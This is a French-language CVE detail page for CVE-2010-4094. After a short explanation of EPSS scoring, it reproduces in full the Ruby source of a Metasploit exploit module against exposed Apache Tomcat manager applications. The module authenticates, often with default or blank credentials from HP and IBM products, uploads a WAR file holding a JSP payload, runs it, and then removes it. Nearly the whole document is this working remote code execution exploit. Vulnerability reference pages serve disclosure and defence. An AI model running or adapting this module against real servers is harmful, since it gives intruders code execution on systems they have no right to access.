CVE-2010-4094 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution', 'Description' => %q{ This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a PUT request. The manager application can also be abused using /manager/html/upload, but that method is not implemented in this module. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11330 $', 'References' => [ # There is no single vulnerability associated with deployment functionality. # Instead, the focus has been on insecure/blank/hardcoded default passwords. # The following references refer to HP Operations Manager [ 'CVE', '2009-3843' ], [ 'OSVDB', '60317' ], [ 'CVE', '2009-4189' ], [ 'OSVDB', '60670' ], # HP Operations Dashboard [ 'CVE', '2009-4188' ], # IBM Cognos Express Default user/pass [ 'BID', '38084' ], [ 'CVE', '2010-0557' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ], # IBM Rational Quality Manager and Test Lab Manager [ 'CVE', '2010-4094' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ], # 'admin' password is blank in default Windows installer [ 'CVE', '2009-3548' ], [ 'OSVDB', '60176' ], [ 'BID', '36954' ], # tomcat docs [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ] ], 'Platform' => [ 'java', 'win', 'linux' ], # others? 'Targets' => [ # # detect via /manager/serverinfo # [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 09 2009')) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager']) ], self.class) end def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo() return nil if not res plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? if (not arch or not plat) return nil end # see if we have a match targets.each { |t| if (t['Platform'] == plat) and (t['Arch'] == arch) return t end } # no matching target found return nil end def exploit datastore['BasicAuthUser'] = datastore['USERNAME'] datastore['BasicAuthPass'] = datastore['PASSWORD'] mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target if (not mytarget) raise RuntimeError, "Unable to automatically select a target" end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end # We must regenerate the payload in case our auto-magic changed something. p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) # Generate the WAR containing the EXE containing the payload jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) # Generate the WAR containing the payload war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s query_str = "?path=/" + app_base # # UPLOAD # path_tmp = datastore['PATH'] + "/deploy" + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'PUT', 'ctype' => 'application/octet-stream', 'data' => war, }, 20) if (! res) raise RuntimeError, "Upload failed on #{path_tmp} [No Response]" end if (res.code < 200 or res.code >= 300) case res.code when 401 print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]" end # # EXECUTE # jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Executing #{jsp_path}...") res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' }, 20) if (! res) print_error("Execution failed on #{app_base} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]") print_status(res.body) if datastore['VERBOSE'] end # # DELETE # path_tmp = datastore['PATH'] + "/undeploy" + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'GET' }, 20) if (! res) print_error("WARNING: Undeployment failed on #{path} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("Deletion failed on #{path} [#{res.code} #{res.message}]") end handler end def query_serverinfo() path = datastore['PATH'] + '/serverinfo' res = send_request_raw( { 'uri' => path }, 10) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end print_status(res.body) if datastore['VERBOSE'] return res end def detect_platform(body = nil) if not body res = query_serverinfo() return nil if not res body = res.body end body.each_line { |ln| ln.chomp! case ln when /OS Name: / os = ln.split(':')[1] case os when /Windows/ return 'win' when /Linux/ return 'linux' end end } end def detect_arch(body) body.each_line { |ln| ln.chomp! case ln when /OS Architecture: / ar = ln.split(':')[1].strip case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X86 end end } end end